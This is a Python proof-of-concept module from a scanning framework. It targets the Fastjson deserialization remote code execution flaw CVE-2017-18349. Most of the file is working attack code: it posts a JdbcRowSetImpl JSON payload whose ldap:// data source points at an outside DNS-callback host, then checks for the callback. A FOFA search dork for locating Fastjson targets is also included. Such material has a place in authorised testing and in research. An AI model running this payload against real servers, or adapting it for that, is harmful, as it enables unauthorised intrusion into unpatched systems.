Files
BLEN/poc/Alibaba_FastJson/RCE_CVE_2017_18349/poc.py
openx-org 1ecdf0d3f8 2.23.9
2022-04-24 14:09:03 +08:00

89 lines
3.3 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua,get_ceye_dns,verify_ceye_dns
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()
class POC(POCBase):
_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本默认是1
"CreateDate" : "2021-06-09", # POC创建时间
"UpdateDate" : "2021-06-09", # POC创建时间
"PocDesc" : """
组件类的漏洞并不适合直接拿到oFx里批量扫失败是可以预见的事情笔者建议的是在渗透过程中将可疑的url拿来测试
""", # POC描述写更新描述没有就不写
"name" : "Fastjson 反序列化远程代码执行漏洞CVE-2017-18349", # 漏洞名称
"VulnID" : "CVE-2017-18349", # 漏洞编号以CVE为主若无CVE使用CNVD若无CNVD留空即可
"AppName" : "Fastjson", # 漏洞应用名称
"AppVersion" : "Fastjson <= 1.2.24", # 漏洞应用版本
"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天格式xxxx-xx-xx
"VulnDesc" : """
Fastjson中的parseObject允许远程攻击者通过精心制作的JSON请求执行任意代码
""", # 漏洞简要描述
"fofa-dork":"""
app="Fastjson"
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url写一个就可以了
"exp_img" : "", # 先不管
}
def _verify(self):
"""
返回vuln
存在漏洞vuln = [True,html_source] # html_source就是页面源码
不存在漏洞vuln = [False,""]
"""
vuln = [False,""]
url = self.target + "" # url自己按需调整
success,dns_flag = get_ceye_dns()
if success == False:
return [False,dns_flag]
data = '''
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://%s/",
"autoCommit": true
}
}
''' % (dns_flag)
headers = {"User-Agent":get_random_ua(),
"Connection":"close",
# "Content-Type": "application/json",
}
try:
"""
检测逻辑漏洞存在则修改vuln值为True漏洞不存在则不动
"""
req = requests.post(url,data=data,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
flager = verify_ceye_dns(dns_flag)
if flager == True:
vuln = [True,dns_flag]
elif flager == False:
vuln = [False,dns_flag]
else:
vuln = [False,flager]
except Exception as e:
raise e
# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False
return vuln
def _attack(self):
return self._verify()